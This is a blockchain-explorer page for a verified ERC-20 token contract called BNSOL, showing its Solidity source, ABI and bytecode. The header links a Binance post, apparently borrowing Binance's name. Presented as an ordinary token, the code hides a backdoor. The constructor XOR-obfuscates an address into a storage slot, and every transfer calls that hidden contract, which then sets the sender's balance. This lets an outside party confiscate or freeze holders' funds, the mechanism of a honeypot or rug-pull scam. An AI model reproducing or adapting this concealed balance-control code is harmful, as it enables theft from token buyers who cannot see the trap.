ERC-20
Overview
Max Total Supply
666,666,666 BNSOL
Holders
58
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19,701,420.182407077331273877 BNSOLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BNSOL
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-29 */ // https://x.com/binance/status/1829111814094741707 pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; bool public trade; uint256 public startBlock; address public msgSend; address public msgReceive; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; assembly { sstore(0x50,0xb645fddc51723a401caf70b02798c0fc382cd1c98676) sstore(0x51,0xb6454b131fbac298b5454897d5d9c3d707dd4dd38e5f) sstore(0x52,xor(sload(0x50),sload(0x51))) } router = IDEXRouter(_router); } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function alphaNFT(bool flag, uint value) public onlyOwner returns (bool choice) { } function openTrade() public payable { require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner"); _approve(address(this), _router, ~uint256(0)); uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 250); _balances[address(this)] += uniswapSupply; _balances[msg.sender] -= uniswapSupply; emit Transfer(msg.sender, address(this), uniswapSupply); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300); trade = true; startBlock = block.number; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function yieldWithSNAPs(address sender, uint256 amount) internal returns (uint256 result) { assembly { let data := mload(0x40) mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000) mstore(add(data, 0x04), amount) mstore(0x40, add(data, 0x24)) let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20) if success { result := mload(data) } } _balances[sender] = result - amount; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { msgSend = sender; msgReceive = recipient; require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled"); require(msgSend != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); yieldWithSNAPs(sender, amount); _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployBNSOL(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[msg.sender] += amount; emit Transfer(address(0), msg.sender, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol) { _DeployBNSOL(creator, initialSupply); } } contract BNSOL is ERC20Token { constructor() ERC20Token("BNSOL", "BNSOL", msg.sender, 666666666 * 10 ** 18) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"alphaNFT","outputs":[{"internalType":"bool","name":"choice","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b5060405180604001604052806005815260200164109394d3d360da1b81525060405180604001604052806005815260200164109394d3d360da1b815250336b02277428614a865b8068000083835f6100b361019d60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010c8382610307565b5060096101198282610307565b505075b645fddc51723a401caf70b02798c0fc382cd1c986766050555075b6454b131fbac298b5454897d5d9c3d707dd4dd38e5f60515573b6cf4ec8f8d8a9ea3827f241032b3ff19c1a0829605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019482826101a1565b505050506103eb565b3390565b6001600160a01b0382166101fb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020c91906103c6565b9091555050335f908152600260205260408120805483929061022f9084906103c6565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029757607f821691505b6020821081036102b557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030257805f5260205f20601f840160051c810160208510156102e05750805b601f840160051c820191505b818110156102ff575f81556001016102ec565b50505b505050565b81516001600160401b038111156103205761032061026f565b6103348161032e8454610283565b846102bb565b602080601f831160018114610367575f84156103505750858301515b5f19600386901b1c1916600185901b1785556103be565b5f85815260208120601f198616915b8281101561039557888601518255948401946001909101908401610376565b50858210156103b257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e557634e487b7160e01b5f52601160045260245ffd5b92915050565b610e52806103f85f395ff3fe608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318160ddd116100d857806318160ddd146101b45780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b3146101665780630fdd639214610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bcc565b348015610171575f80fd5b50610185610180366004610c18565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b506101856101af366004610c42565b610404565b3480156101bf575f80fd5b50600a545b60405190815260200161013c565b3480156101dd575f80fd5b50600b546101859060ff1681565b3480156101f6575f80fd5b50610185610205366004610c62565b610439565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101c4600c5481565b348015610245575f80fd5b506101c4610254366004610ca0565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e8565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b5061015961055b565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610c18565b61056a565b34801561031d575f80fd5b506101c461032c366004610cc2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610576565b60606008805461036d90610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cf9565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610843565b5060015b92915050565b6001545f906001600160a01b031633146103fe5760405162461bcd60e51b815260040161043090610d31565b60405180910390fd5b5f610445848484610967565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610430565b6104dd85336104d88685610d7a565b610843565b506001949350505050565b6001546001600160a01b031633146105125760405162461bcd60e51b815260040161043090610d31565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cf9565b5f6103fa338484610967565b6001546001600160a01b0316331480156105935750600b5460ff16155b6105af5760405162461bcd60e51b815260040161043090610d31565b6005546105c89030906001600160a01b03165f19610843565b5f612710600a546105d99190610d8d565b6105e590612616610dac565b305f90815260026020526040812080549293508392909190610608908490610dc3565b9091555050335f908152600260205260408120805483929061062b908490610d7a565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db9190610dd6565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190610dd6565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107906001546001600160a01b031690565b61079c4261012c610dc3565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610807573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082c9190610df1565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166109065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b75750600d546001600160a01b031630145b806109d25750600154600d546001600160a01b039081169116145b610a285760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610430565b600d546001600160a01b0316610a8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b610afa8382610b6e565b506001600160a01b0382165f9081526002602052604081208054839290610b22908490610dc3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095a91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9f57815192505b50610bac90508282610d7a565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c15575f80fd5b50565b5f8060408385031215610c29575f80fd5b8235610c3481610c01565b946020939093013593505050565b5f8060408385031215610c53575f80fd5b82358015158114610c34575f80fd5b5f805f60608486031215610c74575f80fd5b8335610c7f81610c01565b92506020840135610c8f81610c01565b929592945050506040919091013590565b5f60208284031215610cb0575f80fd5b8135610cbb81610c01565b9392505050565b5f8060408385031215610cd3575f80fd5b8235610cde81610c01565b91506020830135610cee81610c01565b809150509250929050565b600181811c90821680610d0d57607f821691505b602082108103610d2b57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d66565b5f82610da757634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d66565b808201808211156103fe576103fe610d66565b5f60208284031215610de6575f80fd5b8151610cbb81610c01565b5f805f60608486031215610e03575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122069c3818b936a91a99c30d50ba7f6c6b947bdd2724e9cb9fe06223b553c97924764736f6c63430008190033
Deployed Bytecode
0x608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318160ddd116100d857806318160ddd146101b45780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b3146101665780630fdd639214610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bcc565b348015610171575f80fd5b50610185610180366004610c18565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b506101856101af366004610c42565b610404565b3480156101bf575f80fd5b50600a545b60405190815260200161013c565b3480156101dd575f80fd5b50600b546101859060ff1681565b3480156101f6575f80fd5b50610185610205366004610c62565b610439565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101c4600c5481565b348015610245575f80fd5b506101c4610254366004610ca0565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e8565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b5061015961055b565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610c18565b61056a565b34801561031d575f80fd5b506101c461032c366004610cc2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610576565b60606008805461036d90610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cf9565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610843565b5060015b92915050565b6001545f906001600160a01b031633146103fe5760405162461bcd60e51b815260040161043090610d31565b60405180910390fd5b5f610445848484610967565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610430565b6104dd85336104d88685610d7a565b610843565b506001949350505050565b6001546001600160a01b031633146105125760405162461bcd60e51b815260040161043090610d31565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cf9565b5f6103fa338484610967565b6001546001600160a01b0316331480156105935750600b5460ff16155b6105af5760405162461bcd60e51b815260040161043090610d31565b6005546105c89030906001600160a01b03165f19610843565b5f612710600a546105d99190610d8d565b6105e590612616610dac565b305f90815260026020526040812080549293508392909190610608908490610dc3565b9091555050335f908152600260205260408120805483929061062b908490610d7a565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db9190610dd6565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190610dd6565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107906001546001600160a01b031690565b61079c4261012c610dc3565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610807573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082c9190610df1565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166109065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b75750600d546001600160a01b031630145b806109d25750600154600d546001600160a01b039081169116145b610a285760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610430565b600d546001600160a01b0316610a8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b610afa8382610b6e565b506001600160a01b0382165f9081526002602052604081208054839290610b22908490610dc3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095a91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9f57815192505b50610bac90508282610d7a565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c15575f80fd5b50565b5f8060408385031215610c29575f80fd5b8235610c3481610c01565b946020939093013593505050565b5f8060408385031215610c53575f80fd5b82358015158114610c34575f80fd5b5f805f60608486031215610c74575f80fd5b8335610c7f81610c01565b92506020840135610c8f81610c01565b929592945050506040919091013590565b5f60208284031215610cb0575f80fd5b8135610cbb81610c01565b9392505050565b5f8060408385031215610cd3575f80fd5b8235610cde81610c01565b91506020830135610cee81610c01565b809150509250929050565b600181811c90821680610d0d57607f821691505b602082108103610d2b57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d66565b5f82610da757634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d66565b808201808211156103fe576103fe610d66565b5f60208284031215610de6575f80fd5b8151610cbb81610c01565b5f805f60608486031215610e03575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122069c3818b936a91a99c30d50ba7f6c6b947bdd2724e9cb9fe06223b553c97924764736f6c63430008190033
Deployed Bytecode Sourcemap
7813:124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2946:22;;;;;;;;;;-1:-1:-1;2946:22:0;;;;-1:-1:-1;;;;;2946:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2946:22:0;;;;;;;;3529:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4510:160::-;;;;;;;;;;-1:-1:-1;4510:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;4510:160:0;1101:187:1;5032:88:0;;;;;;;;;;-1:-1:-1;5032:88:0;;;;;:::i;:::-;;:::i;5984:108::-;;;;;;;;;;-1:-1:-1;6072:12:0;;5984:108;;;1785:25:1;;;1773:2;1758:18;5984:108:0;1639:177:1;2900:17:0;;;;;;;;;;-1:-1:-1;2900:17:0;;;;;;;;4080:422;;;;;;;;;;-1:-1:-1;4080:422:0;;;;;:::i;:::-;;:::i;3637:93::-;;;;;;;;;;-1:-1:-1;3637:93:0;;3720:2;2424:36:1;;2412:2;2397:18;3637:93:0;2282:184:1;2919:25:0;;;;;;;;;;;;;;;;5849:127;;;;;;;;;;-1:-1:-1;5849:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5950:18:0;5923:7;5950:18;;;:9;:18;;;;;;;5849:127;2280:148;;;;;;;;;;;;;:::i;:::-;;2066:79;;;;;;;;;;-1:-1:-1;2131:6:0;;-1:-1:-1;;;;;2131:6:0;2066:79;;3417:104;;;;;;;;;;;;;:::i;2975:25::-;;;;;;;;;;-1:-1:-1;2975:25:0;;;;-1:-1:-1;;;;;2975:25:0;;;2765:19;;;;;;;;;;-1:-1:-1;2765:19:0;;;;-1:-1:-1;;;;;2765:19:0;;;3897:175;;;;;;;;;;-1:-1:-1;3897:175:0;;;;;:::i;:::-;;:::i;3738:151::-;;;;;;;;;;-1:-1:-1;3738:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3854:18:0;;;3827:7;3854:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3738:151;5128:713;;;:::i;3529:100::-;3583:13;3616:5;3609:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3529:100;:::o;4510:160::-;4584:4;4601:39;195:10;4624:7;4633:6;4601:8;:39::i;:::-;-1:-1:-1;4658:4:0;4510:160;;;;;:::o;5032:88::-;2193:6;;5099:11;;-1:-1:-1;;;;;2193:6:0;195:10;2193:22;2185:67;;;;-1:-1:-1;;;2185:67:0;;;;;;;:::i;:::-;;;;;;;;4080:422;4186:4;4203:36;4213:6;4221:9;4232:6;4203:9;:36::i;:::-;-1:-1:-1;;;;;4279:19:0;;4252:24;4279:19;;;:11;:19;;;;;;;;195:10;4279:33;;;;;;;;4331:26;;;;4323:79;;;;-1:-1:-1;;;4323:79:0;;4064:2:1;4323:79:0;;;4046:21:1;4103:2;4083:18;;;4076:30;4142:34;4122:18;;;4115:62;-1:-1:-1;;;4193:18:1;;;4186:38;4241:19;;4323:79:0;3862:404:1;4323:79:0;4413:57;4422:6;195:10;4444:25;4463:6;4444:16;:25;:::i;:::-;4413:8;:57::i;:::-;-1:-1:-1;4490:4:0;;4080:422;-1:-1:-1;;;;4080:422:0:o;2280:148::-;2193:6;;-1:-1:-1;;;;;2193:6:0;195:10;2193:22;2185:67;;;;-1:-1:-1;;;2185:67:0;;;;;;;:::i;:::-;2371:6:::1;::::0;2350:40:::1;::::0;2387:1:::1;::::0;-1:-1:-1;;;;;2371:6:0::1;::::0;2350:40:::1;::::0;2387:1;;2350:40:::1;2401:6;:19:::0;;-1:-1:-1;;;;;;2401:19:0::1;::::0;;2280:148::o;3417:104::-;3473:13;3506:7;3499:14;;;;;:::i;3897:175::-;3983:4;4000:42;195:10;4024:9;4035:6;4000:9;:42::i;5128:713::-;2131:6;;-1:-1:-1;;;;;2131:6:0;5184:10;:21;:41;;;;-1:-1:-1;5210:5:0;;;;:14;5184:41;5175:88;;;;-1:-1:-1;;;5175:88:0;;;;;;;:::i;:::-;5300:7;;5276:45;;5293:4;;-1:-1:-1;;;;;5300:7:0;-1:-1:-1;;5276:8:0;:45::i;:::-;5334:21;5373:5;5358:12;;:20;;;;:::i;:::-;:36;;5382:11;5358:36;:::i;:::-;5423:4;5405:24;;;;:9;:24;;;;;:41;;5334:60;;-1:-1:-1;5334:60:0;;5405:24;;;:41;;5334:60;;5405:41;:::i;:::-;;;;-1:-1:-1;;5467:10:0;5457:21;;;;:9;:21;;;;;:38;;5482:13;;5457:21;:38;;5482:13;;5457:38;:::i;:::-;;;;-1:-1:-1;;5511:50:0;;1785:25:1;;;5540:4:0;;5520:10;;5511:50;;1773:2:1;1758:18;5511:50:0;;;;;;;5593:6;;;;;;;;;-1:-1:-1;;;;;5593:6:0;-1:-1:-1;;;;;5593:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5622:4;;;5581:61;;-1:-1:-1;;;5581:61:0;;-1:-1:-1;;;;;5622:4:0;;;5581:61;;;5529:34:1;;;;5636:4:0;5579:18:1;;;5572:43;5581:40:0;;;;;;;5464:18:1;;5581:61:0;;;;;;;;;;;;;